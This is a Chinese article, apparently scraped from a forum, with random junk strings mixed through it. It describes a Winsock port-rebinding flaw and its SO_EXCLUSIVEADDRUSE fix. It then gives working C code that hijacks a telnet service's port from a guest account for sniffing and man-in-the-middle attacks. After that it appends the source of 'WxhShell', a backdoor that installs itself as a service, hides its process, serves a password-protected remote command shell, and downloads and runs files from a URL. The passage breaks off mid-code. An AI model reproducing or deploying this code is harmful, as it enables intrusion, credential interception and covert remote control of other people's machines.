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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )h0F'MzW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8uR4ZE* `eat7O saddr.sin_family = AF_INET; Vb`m3 }-:s9Lt saddr.sin_addr.s_addr = htonl(INADDR_ANY); OA??fb,b BiQ7r=Dd. bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !dVth)UV
9I:H=5c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !`yg bI. 3rEBG0cf] 这意味着什么?意味着可以进行如下的攻击: :6 ?&L u~,@Zg87 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fCL5Et x>^r%<WbX 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) p
xrd D7
p2;-*D 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z
(,%<oX VemgG)\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 fT-yY` h5-<2B| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 tc%?{W\ }>\+eG 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c[4H !Qu)JR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /XG4O iD)R*vnAi #include U[1Ir92: #include oW*e6"<R7 #include jjgjeY #include xA DjQ%B DWORD WINAPI ClientThread(LPVOID lpParam); .R/`Y)4 int main() ?3wEO>u { URq{#,~CT WORD wVersionRequested; \lVxlc0{? DWORD ret; `b^eRnpR WSADATA wsaData; *_puW
x BOOL val; &}P{w SOCKADDR_IN saddr; %,-oxeM1u SOCKADDR_IN scaddr; ^w eU\ int err; @tvAI2W SOCKET s; RzG<&a3B3s SOCKET sc; )6# i>c- int caddsize; 8'Eu6H&$G HANDLE mt; ZW$PJmz DWORD tid; &<Bx1\ ~V wVersionRequested = MAKEWORD( 2, 2 ); 0Bx.jx0? err = WSAStartup( wVersionRequested, &wsaData ); ,
4Vr,?"EO if ( err != 0 ) { 2 w2JFdm printf("error!WSAStartup failed!\n"); Dz4fP;n return -1; d7+YCi?
}
}xcEWC\ saddr.sin_family = AF_INET; gw0b>E8gZ& w{J0K;L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^PY*INv Ij_Y+Mnl4: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Suixk'- saddr.sin_port = htons(23); |kL^k{=zV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sGjYL>* { wXv\[zL` printf("error!socket failed!\n"); Hn%n>Bnl return -1; iX8&mUR } z\Vu`Yz val = TRUE; ^zPa^lo- //SO_REUSEADDR选项就是可以实现端口重绑定的 ;Ub;AqY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u%FG%
j?C { 9*gD;) ! printf("error!setsockopt failed!\n"); PT7L65 return -1;
SqL8MKN) }
9K*yds //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }R#YO$J7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a $pxt!6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <4,n6$E |cwGc\ES if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1*{` . { X p4x:N ret=GetLastError(); tL68
u[ printf("error!bind failed!\n"); @G0k+ return -1; !ydJ{\; } l$$N~F N listen(s,2); VU7x w while(1) Np>[mNmga { RkVU^N" caddsize = sizeof(scaddr); P+!j[X^ //接受连接请求 $gm`}3C< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %zx=rn(K if(sc!=INVALID_SOCKET) rWKc,A[ { Zi47)8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |7Z7_YWs if(mt==NULL) (J(JB}[X, { f(Q-W6 printf("Thread Creat Failed!\n"); KD9Y break; ~C6Qp`VF } ]K'iCYY } 6 <JiHVP7 CloseHandle(mt); *i#m5f} }
1<RB} M closesocket(s); n5i#GvO^ WSACleanup(); MsMNP[-l return 0; D&q-L[tA@ } iJ
HOLz"! DWORD WINAPI ClientThread(LPVOID lpParam) eIjn~2^ { b_xn80O
SOCKET ss = (SOCKET)lpParam; o*7`r ~ SOCKET sc; Zf~Em'g"3 unsigned char buf[4096]; gR)T(%W SOCKADDR_IN saddr; YNCQPN\v`1 long num; O-r,&W DWORD val; j_ dCy DWORD ret; HE0UcP1U //如果是隐藏端口应用的话,可以在此处加一些判断 <$)F_R~T3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 zmvF#o saddr.sin_family = AF_INET; .Ua|KKK C saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )h-Qi#{ saddr.sin_port = htons(23); N:Yjz^Jt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {e4`D1B { cx?t C#t printf("error!socket failed!\n"); J%c4-'l return -1; t(FIBf3 }
y21zaQ val = 100; .du FMJl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5}FPqyK" { X_Vj&{ ret = GetLastError(); W%@L7 xh return -1; ^nn3; } %lsk>V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a=3?hVpB { c`
^I% i ret = GetLastError(); J{"<Hgb return -1; YK Nz[x$| } ||TKo967] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <igsO { ]F[ V6`H printf("error!socket connect failed!\n"); iXpLcHi closesocket(sc); \Ub=Wm\ closesocket(ss); 4%do.D* return -1; o.-rdP0P> } ydFZ$W_}w while(1) N<V,5 { s,UccA@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cTf/B=yMi //如果是嗅探内容的话,可以再此处进行内容分析和记录 6|*em4 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 "I.PV$Rxl num = recv(ss,buf,4096,0); M$j]VZ if(num>0) _<x4/".}B3 send(sc,buf,num,0); >,22@4 else if(num==0) <t[WHDO` break; S'"(zc3= num = recv(sc,buf,4096,0); :_F$e if(num>0) L7i^?40 send(ss,buf,num,0); 4OLq else if(num==0) QF 2Eg break; jFYv4!\ju } /I@nPH<y closesocket(ss); ][R#Q;y< closesocket(sc); NQCJ '%L6 return 0 ; wIT0A-Por4 } p-QD(+@M fy at-wbb -xi]~svg ========================================================== sG{hUsPa [hU5ooB 下边附上一个代码,,WXhSHELL yeQ6\yi i6F`KF'i& ========================================================== ptXCM[Z+ %G!BbXlz #include "stdafx.h" u'"VbW3u n #SiOx/ #include <stdio.h> A
i` #include <string.h> {VOLUC o 4 #include <windows.h> Zr`pOUk!4 #include <winsock2.h> 8jyg1NN D #include <winsvc.h> J{Fu 8 #include <urlmon.h> r|[uR$|Y Aa^%_5 #pragma comment (lib, "Ws2_32.lib") i^LLKx7M& #pragma comment (lib, "urlmon.lib") kI5`[\ 'yG9Rt #define MAX_USER 100 // 最大客户端连接数 fv?vO2nj #define BUF_SOCK 200 // sock buffer (9bFIvMc #define KEY_BUFF 255 // 输入 buffer !9+xKr99 k!Y7Rc{" #define REBOOT 0 // 重启 D,Ft*(|T #define SHUTDOWN 1 // 关机 zX+NhTTB [43:E*\$ #define DEF_PORT 5000 // 监听端口 8RC7Ei rOC2 S(m #define REG_LEN 16 // 注册表键长度 d\Q~L 3x #define SVC_LEN 80 // NT服务名长度 I8=p_Ie Si[:l // 从dll定义API FF]xwptrx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -z"=d<@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tY=sl_ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l*;Isz: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V@6,\1#`| :sD/IM",}, // wxhshell配置信息 8.9TWsZ struct WSCFG { wGfU@!m int ws_port; // 监听端口 Q9v
OY8 char ws_passstr[REG_LEN]; // 口令 "p<B| int ws_autoins; // 安装标记, 1=yes 0=no 4\*!]5i char ws_regname[REG_LEN]; // 注册表键名 Kts#e:k@ char ws_svcname[REG_LEN]; // 服务名 |7G+O+j char ws_svcdisp[SVC_LEN]; // 服务显示名 6 Fz?'Xf char ws_svcdesc[SVC_LEN]; // 服务描述信息
G:TM k4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E3X6-J| int ws_downexe; // 下载执行标记, 1=yes 0=no 4,D$% . char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" W10=SM} char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e RiP C ,A`.u \f(: }; 1+\ZLy!5: 04eE\%? // default Wxhshell configuration saMv.;s
1^ struct WSCFG wscfg={DEF_PORT, `Oxo@G*@}W "xuhuanlingzhe", rSGp]W| 1, Sl@$ "Wxhshell", n_}=G
RR "Wxhshell", E3bS Q "WxhShell Service", 35/)S@ "Wrsky Windows CmdShell Service", x[]}Jf{t "Please Input Your Password: ", (+Ia:D 1, I"/p^@IX " http://www.wrsky.com/wxhshell.exe", t;ZA}>/ "Wxhshell.exe" SM3Q29XIw }; {<f_,Nlc S%ULGX:@ga // 消息定义模块 ESdjDg$[u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :{z a[, char *msg_ws_prompt="\n\r? for help\n\r#>"; N5$IVz} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; .qBL.b_` char *msg_ws_ext="\n\rExit."; q cYF& char *msg_ws_end="\n\rQuit."; y%* hHnGd char *msg_ws_boot="\n\rReboot..."; ~y@,d char *msg_ws_poff="\n\rShutdown..."; yQ5F'.m9e char *msg_ws_down="\n\rSave to "; R0>GM`{ 1\GS"4~P char *msg_ws_err="\n\rErr!"; &_mOw. char *msg_ws_ok="\n\rOK!"; j*uc$hC" P GTi-o} char ExeFile[MAX_PATH]; {pEay|L_ int nUser = 0; ,9T-\)sT HANDLE handles[MAX_USER]; q'r(#,B<3 int OsIsNt; \^7D%a=;C l;TWs_N SERVICE_STATUS serviceStatus; MXy~kb& SERVICE_STATUS_HANDLE hServiceStatusHandle; GabYxYK 9d7`R' // 函数声明 F'eV%g int Install(void); w}*2Hz&Q! int Uninstall(void); j6zZ! k int DownloadFile(char *sURL, SOCKET wsh); _M.7%k/U8 int Boot(int flag); [l;9](\8O void HideProc(void); >z&|<H% int GetOsVer(void); ,^]yU?eU int Wxhshell(SOCKET wsl); >fCz,.L void TalkWithClient(void *cs); y7)s0g>%H int CmdShell(SOCKET sock); (8bo"{zI int StartFromService(void);
Tk(ciwB int StartWxhshell(LPSTR lpCmdLine); ,{{e'S9cy :u}FF"j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \F_~?$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); -oSfp23u RweK<Flo'S // 数据结构和表定义 &p/^A[ SERVICE_TABLE_ENTRY DispatchTable[] = =uM2l { xl.iI$P {wscfg.ws_svcname, NTServiceMain}, {rp5qgVE< {NULL, NULL} :el]IH };
{*EA5; 2<18j // 自我安装 [ArPoJt int Install(void) >]DnEF& { @.JhL[f char svExeFile[MAX_PATH]; @EPO\\C"f HKEY key; u;{,,ct strcpy(svExeFile,ExeFile); .<GU2&;! sn.Xvk%75 // 如果是win9x系统,修改注册表设为自启动 xx^7 if(!OsIsNt) { ZM:!LkK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z_Tu*
F RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gQXB=ywF RegCloseKey(key); #=>t6B4af if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XYeuYLut RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Aqi9@BH RegCloseKey(key); ~_XJ v return 0; Q]9g
} x3dP`<
} 9?4EM^- } Tyc`U& else { V\C$/8v y]dA<d?u // 如果是NT以上系统,安装为系统服务 lRIS&9vA3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6rBXC <Z if (schSCManager!=0) |2oCEb1 { 3zV{cm0 SC_HANDLE schService = CreateService B?;!j)FUtt ( <$#;J>{WV schSCManager, (%`R{Y wscfg.ws_svcname, Wn p\yx` wscfg.ws_svcdisp, V/
a!&_"" SERVICE_ALL_ACCESS, irg%n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9eA2v{!S SERVICE_AUTO_START, {+n0t1 SERVICE_ERROR_NORMAL, l!6^xMhYk svExeFile, uif1)y`Q$C NULL, F\Qukn NULL, h]|E,!H NULL, >P@JiR<@\n NULL, ^o`;C\ NULL (]wd8M ); .?C-J if (schService!=0) cjTV~(i'4A { .fZ*N/ CloseServiceHandle(schService); AD_aI
%7 CloseServiceHandle(schSCManager); !KYX\HRW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,!m][ strcat(svExeFile,wscfg.ws_svcname); K'Gv+UC*6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !N, Oe< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hB]\vA7 RegCloseKey(key); znNJ? return 0; zjuU*$A4 } Tc{n]TV } "JHdF& CloseServiceHandle(schSCManager); rD7L==Ld } ]z^*1^u^ig } _{d0Nm r`t|}m return 1; WH@CH4WM } 9&FFp*'3 Sqt'} // 自我卸载 85QVj] nr int Uninstall(void) y":Y$v,P { x<mHTh:-V HKEY key; 1Wz -Z Rn"Raq7Cn* if(!OsIsNt) { s]D&): if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -!p +^wC RegDeleteValue(key,wscfg.ws_regname); W,\LdQ RegCloseKey(key); QX1rnVzg0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U$-;^=; RegDeleteValue(key,wscfg.ws_regname); Q Pel n) RegCloseKey(key); 9GH11B_A return 0; u{Z
4M3U }
+lK?)77f } G4VdJ(_ } ]\ fXy?2 else { 6/A#P$G FCk4[qOp7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |U~m8e&: if (schSCManager!=0) 8$c_M { QT!!KTf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?1+JBl~/d if (schService!=0) J\WUBt-M { _8-iO.T+2 if(DeleteService(schService)!=0) { (W=J3?hn CloseServiceHandle(schService); fR:BF47 CloseServiceHandle(schSCManager); _ct18nh9 return 0; oNkASAd } V>8)1)dF CloseServiceHandle(schService); "kYzgi } 1;e"3x" CloseServiceHandle(schSCManager); *5kQ6#l } R{GT?
wl } e 58 uQ} 0hs return 1; `oDs]90 } %[l*:05 ucVWvXCr // 从指定url下载文件 R<5GG|(B int DownloadFile(char *sURL, SOCKET wsh) o@p(8=x { PYOU=R%o`8 HRESULT hr; u$3wdZ2&m char seps[]= "/"; 6m=FWw3y char *token; 6:(R/9!P char *file; \[nvdvJv char myURL[MAX_PATH]; NXJyRAJ*% char myFILE[MAX_PATH]; d]kP@flOV -G!W6$Y strcpy(myURL,sURL); @[:JQ'R= token=strtok(myURL,seps); li U=&wM> while(token!=NULL) 5|4=uoA< { stb)Tl^ file=token; -{ae token=strtok(NULL,seps);
1#G( } w2
L'j9 ftL>oOz[ GetCurrentDirectory(MAX_PATH,myFILE); *KDT0 ;/s strcat(myFILE, "\\"); =nq9)4o strcat(myFILE, file); j.'Rm%@u send(wsh,myFILE,strlen(myFILE),0); J?Ed^B- send(wsh,"...",3,0); :9_N
Y"P hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _fVC\18T if(hr==S_OK) e)(m0m\ return 0; B/iRR2h else ^KBE2C return 1; zW,Nv>Ac5 nE~HcxE/ } 500qg({2] T:/68b*H\: // 系统电源模块 wR x5` @ int Boot(int flag) 3?}W0dZ$d { Z5oX "Yx HANDLE hToken; .U66Uet>RX TOKEN_PRIVILEGES tkp; `I\)Kk@*b9 ZL0':7 if(OsIsNt) { I T.'`!T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E(0(q#n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OG M9e! tkp.PrivilegeCount = 1; kpe7\nd=> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m((A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
D<.zdTo if(flag==REBOOT) { !uC`7a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }G:5P3f return 0; +cDz`)N,, } ^kS44pr\Q else { FUq>+U!Qu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uV\ _j3,2 return 0; d1MVhE } 6X@]<R } R^fk :3 else { AADvk_R if(flag==REBOOT) { [lSQ? if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uf:G,%OYi return 0; V4('}Q! } Gk.;<d else { %
d%KH9u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7c:5Ey return 0; A?
=(q } mXX9Aa> } 6l{=[\.Xa ]^='aQ return 1; *kI1NchF } +2}aCoL\ 2MNAY%iT // win9x进程隐藏模块 0(uNFyIG void HideProc(void) DwQaj"1<% { vd4}b> K?y!zy HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )u. ut8![T if ( hKernel != NULL ) [7QIpt+FSo { M5SAlj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W6Os|z9&| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lL*k!lNs FreeLibrary(hKernel); }F*u
9E } ''@upZBJ 8a\
Pjk return; 8:BPXdiK } VW7
?{EL7 )/'y'd<r // 获取操作系统版本 e[3rz%'Q int GetOsVer(void) x*)@:W! { ~(TS>ck@ OSVERSIONINFO winfo; w85PRruW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -PHVM=: GetVersionEx(&winfo); B:YUb{CJ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zLG5m]G4D return 1; 8Nr,Wq else q><E? return 0; ]FJpe^
ua } ^,Sl^ 9K Q(
WE.ux)< // 客户端句柄模块 K%Sy~6iD& int Wxhshell(SOCKET wsl) =Vgj=19X( { ,{@,dw`lUz SOCKET wsh; !wws9 struct sockaddr_in client; N6GvzmG#g DWORD myID; `_IgH "}"Bvp^ while(nUser<MAX_USER) TP6iSF { 29+p|n int nSize=sizeof(client); EZm6WvlxSI wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UuV<#N) if(wsh==INVALID_SOCKET) return 1; 0n<t/74 P|"U handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mUj=NRq if(handles[nUser]==0) EM_`` 0^ closesocket(wsh); zh hHA9 else YpFh_Zr[ nUser++; ^-CQ9r* } 5WR(jl+M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =H'7g6 -{
Ng6ntS return 0; VQ{.Ls2`Z } ZMSP8(V &Rgy/1 // 关闭 socket /4\!zPPj. void CloseIt(SOCKET wsh) W$x'+t5H { H3=U|wr| closesocket(wsh); QR!8 n nUser--; bDLPA27 ExitThread(0); }gE?ms4$ } Ok-*xd G22=8V // 客户端请求句柄 wvAXt*R void TalkWithClient(void *cs) e1e2Wk {
*mQOW]x% 3>[_2}l SOCKET wsh=(SOCKET)cs; Z4\$h1tl char pwd[SVC_LEN]; v{ F/Bifo char cmd[KEY_BUFF]; *"N756Cj char chr[1]; )V!dmVQq{g int i,j; +LwE=unS :y)'_p *l/ while (nUser < MAX_USER) { */B-%*#I. 8^3Z]=(Q if(wscfg.ws_passstr) { Qrt[MJ+# if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zt 1Pu
/e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O87Ptr8 //ZeroMemory(pwd,KEY_BUFF); c
k= i=0; mQQ5>0^m while(i<SVC_LEN) { :/H fMJ kan?2x // 设置超时 ^-3R+U- S fd_set FdRead; 90%alG1>y struct timeval TimeOut; ]M|Iy~
X FD_ZERO(&FdRead); +jcg[|-'/ FD_SET(wsh,&FdRead); ,+0>p TimeOut.tv_sec=8; 9JHu{r"M TimeOut.tv_usec=0; P)?)H]J" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); anj*a<C< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^(p}hSLAfQ tqY) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '1{#I/P; pwd =chr[0]; dP(*IOO. if(chr[0]==0xd || chr[0]==0xa) { K!q:A+] pwd=0; hJ0)"OA5 break; H26'8e } ~F`t[p i++; J4
yT| } v)(tB7&`= >$]SYF29 // 如果是非法用户,关闭 socket f#:7$:{F1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gB!K{ Io' } m:77pE&o @g*=xwve=~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f`X#1w9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *)c,~R^ g->cgExj while(1) { P=K+!3ZXo A*ImruV ZeroMemory(cmd,KEY_BUFF); .!kqIx*3 |okS7.|IX // 自动支持客户端 telnet标准 ,c:Fa)- j=0; 0zg\thL while(j<KEY_BUFF) { '|r('CIBN/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CqVh9M.ah cmd[j]=chr[0]; 3IqYp K(s if(chr[0]==0xa || chr[0]==0xd) { %2=nS<kC cmd[j]=0; lgC|3] break; J7R+|GTcx } :F:<{]oG_ j++; h(hb?f@1: } ]9?_m@Ihx ^F<[5e)M // 下载文件 :('7ly!h if(strstr(cmd,"http://")) { C'ZF#Z send(wsh,msg_ws_down,strlen(msg_ws_down),0); !m"(SJn" if(DownloadFile(cmd,wsh)) dKcHj<'E/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); p1 tfN$- else
^a@Vn\V1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X*Mw0;+T } v>TI.;{y else { W P1>) XfFZ;ul switch(cmd[0]) { FAAqdK0 dq?q(_9 // 帮助 K ;2tY+I case '?': { )B@veso{ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MjMPbGUX{ break; Z3=DM=V;v } |y@TI // 安装 K,YKU?z6 case 'i': { p8F5b8]* if(Install()) Ek' send(wsh,msg_ws_err,strlen(msg_ws_err),0); iq`y else zzfwI@4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f<A Bs4w break; /ve8);cH\ } H"8+[.xBh // 卸载 kStWsc$;+T case 'r': { B[F,D if(Uninstall()) x,"'\=|s* send(wsh,msg_ws_err,strlen(msg_ws_err),0); vB, X) else hM2^[8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'j];tO6GfC break; uQ#3;sFO } !8]W"@qb // 显示 wxhshell 所在路径 GYot5iLg case 'p': { %&9tn0B
char svExeFile[MAX_PATH];
v4sc strcpy(svExeFile,"\n\r"); D,+I)-k< strcat(svExeFile,ExeFile); F7^d@hSV send(wsh,svExeFile,strlen(svExeFile),0); :Vq gmn break; M:h~;+s } Ow=` tv$l // 重启 )K\w0sjR case 'b': { =
wNul" send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y[x9c0 if(Boot(REBOOT)) @=)_PG send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ftj3`Mu else { S~`&K closesocket(wsh); u79.`,Ad& ExitThread(0); z%t>z9hU } r7sPFM break; kEWC } xmZ]mu,,$ // 关机 D!TL~3d
1 case 'd': { s]0x^"#B send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c]O3pcU if(Boot(SHUTDOWN)) Y;S+2])R2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); &O(z|-&| x else { b#|M-DmT closesocket(wsh); |SXMd'<3`Z ExitThread(0); z7F~;IB*u } '6u;KIG break; |{]\n/M } o9~ Z! &p // 获取shell KcP86H52I case 's': { S'vi +_ CmdShell(wsh); DGdSu6s$ closesocket(wsh); -8Z%5W` ExitThread(0); ^r73(8{) break; vWI9ocl`W } 9}t2OJS*h" // 退出 RH^8 "%\ case 'x': { mKynp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YVZm^@ZVV CloseIt(wsh); {$ 4fRxj break; 25h.u>6@{ } X:+;d8rCy // 离开 E
N%cjvE case 'q': { 1p>5ZkHb send(wsh,msg_ws_end,strlen(msg_ws_end),0); {[o=df/ closesocket(wsh); xlkEW&N& WSACleanup(); ^_KHw exit(1); -gH1`*YL break; 3t[2Bd } f&B&!&gZ } U$6N-q } w<N[K> mZJ"e,AY // 提示信息 LnvC{#TFO if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s$J0^8Q~i } JC}y{R8 } HS]|s': "zR+} return; f$9V_j-K+ } (F~i +mE y7qM // shell模块句柄 OT{wqNI int CmdShell(SOCKET sock) 4dv+RRpGOv { HE.
` STARTUPINFO si; +j&4[;8P: ZeroMemory(&si,sizeof(si)); FkR9-X< si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _!H{\kU si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =yOIP@ PROCESS_INFORMATION ProcessInfo; =9 FY;9 char cmdline[]="cmd"; [F%INl-sy CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vL{sk|2& return 0; X*1vIs;[@ } G%-[vk#] Af1mTbf= // 自身启动模式 i[@*b/A int StartFromService(void) 5Y)*-JY1g { 6;9SU+/ typedef struct Xa\{WM==; { IIUoB!` DWORD ExitStatus; 7qq}wR]] DWORD PebBaseAddress; 0RN]_z$;H DWORD AffinityMask; C4&yC81Gm DWORD BasePriority; 9a"[-B: ULONG UniqueProcessId; `] ;*k2 ULONG InheritedFromUniqueProcessId; ^aN;M\ } PROCESS_BASIC_INFORMATION; ?SRG;G1 K/KZ}PI-O PROCNTQSIP NtQueryInformationProcess; 6:i{_YX(.S I0.{OJ- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SaMg)s~B static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ly/"da \ $}^u5Y HANDLE hProcess; L0Bcx|)"$` PROCESS_BASIC_INFORMATION pbi; Zm!T4pL )8p FPr HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fB|rW~!v if(NULL == hInst ) return 0; qk{2%,u$@{ |E&a3TQW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eaCv8zdX g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, 